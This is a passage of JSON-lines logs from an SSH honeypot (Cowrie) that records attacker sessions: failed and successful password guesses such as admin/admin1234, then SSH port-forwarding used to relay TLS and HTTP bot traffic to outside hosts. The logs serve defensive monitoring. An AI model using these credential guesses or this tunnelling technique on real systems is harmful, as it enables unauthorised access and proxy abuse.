en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 5.1; LUA-L21 Build/HUAWEILUA-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NTx%2Bb2hhdDNVbGw1QiF3YQ%3D%3DvgPfcCnWuGL%2Fc%2BKFrVNv7WgZK3JuC1oBiucODwQcaBpi5pHQOPJcLd%2FHzLsUYGrjCboSC48K6hLmfBVk1ws63ilvrThoLr%2Bx3cNY78zcVRLB8HVkIFYpO6yzNaV3KyQk1v38NC7TS0ZpECpb%2FAVNgLFfAjGuclQAn%2BOPa8oBhguGXCzZazNnsyGXPh15nN1KqhIqer2DcYxPxAXP%2BI1KfqBUwFZ0heEdcZX52U76yK03x8AV731daFB9WVYI52sBFyMNBQAECbMikPOrzejHUwhfMCG2%2FkMV5Mj655bLceeBk3ovDu2487%2FvzOoSlETEh1nn%2BEl0p%2BU5gvgPJ2VSoaieL5wQ%2FcWuAcfXYGuZ%2FwC14fHtOtE%2FqBh%2FaybttArSJeQvXZrLzAY3UWbtAobNLvsorSLPEdEfyu0CZ4vBI9qc0P0Rdsx6BQAJK6Vm1IdyyUdAS4Aja9fLq62VYzvxAo%2BnrRN3UdA8nD1GUImrX%2Fwvi71LlcRae6TSBVMltmZDNdMmIhp1lsIIIf2B%2BXSi0NqEDfsQkHzL5NOC6%2FbAP1qmB2jRQrq4VaRniOmrOz1owW2avHDi%2B4ph4p8p5RBuEwERrIAL2bazQ%2FfQ5TvT5MZkzV8aczhO08egrK7g%2Fij1DYZOzAAQesU8mP%2B%2FF%2FffTLUma10nSZEtfbLPh1%2B1Z2Y2AEaDR1Xg0ngp3719iQXVpU39AnJPEyfg5y6igOiGbG9beVtxvYAl3W09jm3rBtzEBCthhcEUjglq%2BV4wFuwrnApJbAxaq6wYnzEAL6goufppcek9X4kiLjlWlyOco%2FMtWm1U1he9zlzAlpUo0V50P51bQrD1w%2B1FelRV%2FgVAFfYbao2R6BDT7VsR3o%2F03kHB%2FowhKvni5YFkUjlSb3pyPa578yF7rsGGBpVugLE3rUgbmvjlrHNSk7N5tJm9NbNLGXd5YuimOAq%2F%2BUVOFtY8mzXZ4P%2FwA3Kg0tus2KcBhAtXSrh37n1Sj8cd7%2FhiRW7%2F3qUxTtadSespxFv2a%2BlrazMMgQAF7igggXd9VIQ6MeJ8c%2FdHgW%2Ft9SwITQ2x6oa3hLnABvQHHksE%2F%2FPq9BJU'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:59.595460Z","src_ip":"123.27.168.40","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:59.598571Z","src_ip":"123.27.168.40","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4A\\x14R\\xba\\x93Z\\xd9m`m\\xde#gpW\\xa8\\x1c#NcC\\x8c\\x18\\x94\\xba\\x9b\\x07\\xb9\\x83\\xc5\\x8a *\\xad\\x83{F/\\x13\\xed\\xf9\\x84L\\x9b\\xed\\x7f`\\xb1\\xb9\\x11c\\xdd\\x85\\xff\\xadE\\x8d\\xc2S\\xd4JU\\xd3\\xb6\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xce\\xfdJ\\xf9@\\x88\\x7f\\t8\\xda\\x8f\\xed\\xf2\\xbf\\x8ar\\xab=\\x80\\xf3\\xe7\"\\xbe\\x13{\\x15\\xf9\\xdc\\xa1\\xeb\\xdd<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4A\\x14R\\xba\\x93Z\\xd9m`m\\xde#gpW\\xa8\\x1c#NcC\\x8c\\x18\\x94\\xba\\x9b\\x07\\xb9\\x83\\xc5\\x8a *\\xad\\x83{F/\\x13\\xed\\xf9\\x84L\\x9b\\xed\\x7f`\\xb1\\xb9\\x11c\\xdd\\x85\\xff\\xadE\\x8d\\xc2S\\xd4JU\\xd3\\xb6\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xce\\xfdJ\\xf9@\\x88\\x7f\\t8\\xda\\x8f\\xed\\xf2\\xbf\\x8ar\\xab=\\x80\\xf3\\xe7\"\\xbe\\x13{\\x15\\xf9\\xdc\\xa1\\xeb\\xdd<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:59.601149Z","src_ip":"123.27.168.40","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"40.5","message":"Connection lost after 40.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:59.738713Z","src_ip":"23.175.50.51","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:59.850525Z","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:00.097707Z","src_ip":"123.27.168.40","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfb\\xb0\\x12\\xac\\x86f\\x13\\x0e!\\xf4%\\x1c\\x91\\xad0I\\xd3\\x83}\\x1e\\xf0v|\\x80`S\\xf3\\xe3#vr\\xcf A\\x03\\x06\\x0f\\x91{\\x91C\\xfe\\xebee\\xaf>\\x0e\\xf1\\xc1\\x9d\\x8b\\x0c^_\\xb8\\xf3\\xc3\\xabm\\xc1\\xed\\xa0\\xb8\\xdb\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb1\\x04.+\\x9e\\xeaW\\xc5\\xcb\\xd5\\xf1\\xf8=.\\x1dB\\xb1b\\xb2\\x13\\xe6\\\\\\x96\\xe92jl\\xcf\\x83\\xc88*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfb\\xb0\\x12\\xac\\x86f\\x13\\x0e!\\xf4%\\x1c\\x91\\xad0I\\xd3\\x83}\\x1e\\xf0v|\\x80`S\\xf3\\xe3#vr\\xcf A\\x03\\x06\\x0f\\x91{\\x91C\\xfe\\xebee\\xaf>\\x0e\\xf1\\xc1\\x9d\\x8b\\x0c^_\\xb8\\xf3\\xc3\\xabm\\xc1\\xed\\xa0\\xb8\\xdb\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb1\\x04.+\\x9e\\xeaW\\xc5\\xcb\\xd5\\xf1\\xf8=.\\x1dB\\xb1b\\xb2\\x13\\xe6\\\\\\x96\\xe92jl\\xcf\\x83\\xc88*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:00.101135Z","src_ip":"123.27.168.40","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:00.473023Z","src_ip":"123.27.168.40","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":48060,"dst_ip":"159.203.135.109","dst_port":22,"session":"16d387dcab61","protocol":"ssh","message":"New connection: 101.79.165.43:48060 (159.203.135.109:22) [session: 16d387dcab61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:00.980363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:00.984631Z","src_ip":"101.79.165.43","session":"16d387dcab61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:01.202003Z","src_ip":"101.79.165.43","session":"16d387dcab61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usman","password":"usman123","message":"login attempt [usman/usman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:02.105924Z","src_ip":"101.79.165.43","session":"16d387dcab61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:03.327845Z","src_ip":"101.79.165.43","session":"16d387dcab61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49736,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f2055428301","protocol":"ssh","message":"New connection: 123.27.168.40:49736 (10.17.0.5:22) [session: 9f2055428301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:07.413395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:07.417373Z","src_ip":"123.27.168.40","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:07.648078Z","src_ip":"123.27.168.40","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:08.717906Z","src_ip":"123.27.168.40","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:09.065566Z","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:09.297494Z","src_ip":"123.27.168.40","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; SM-J737A Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 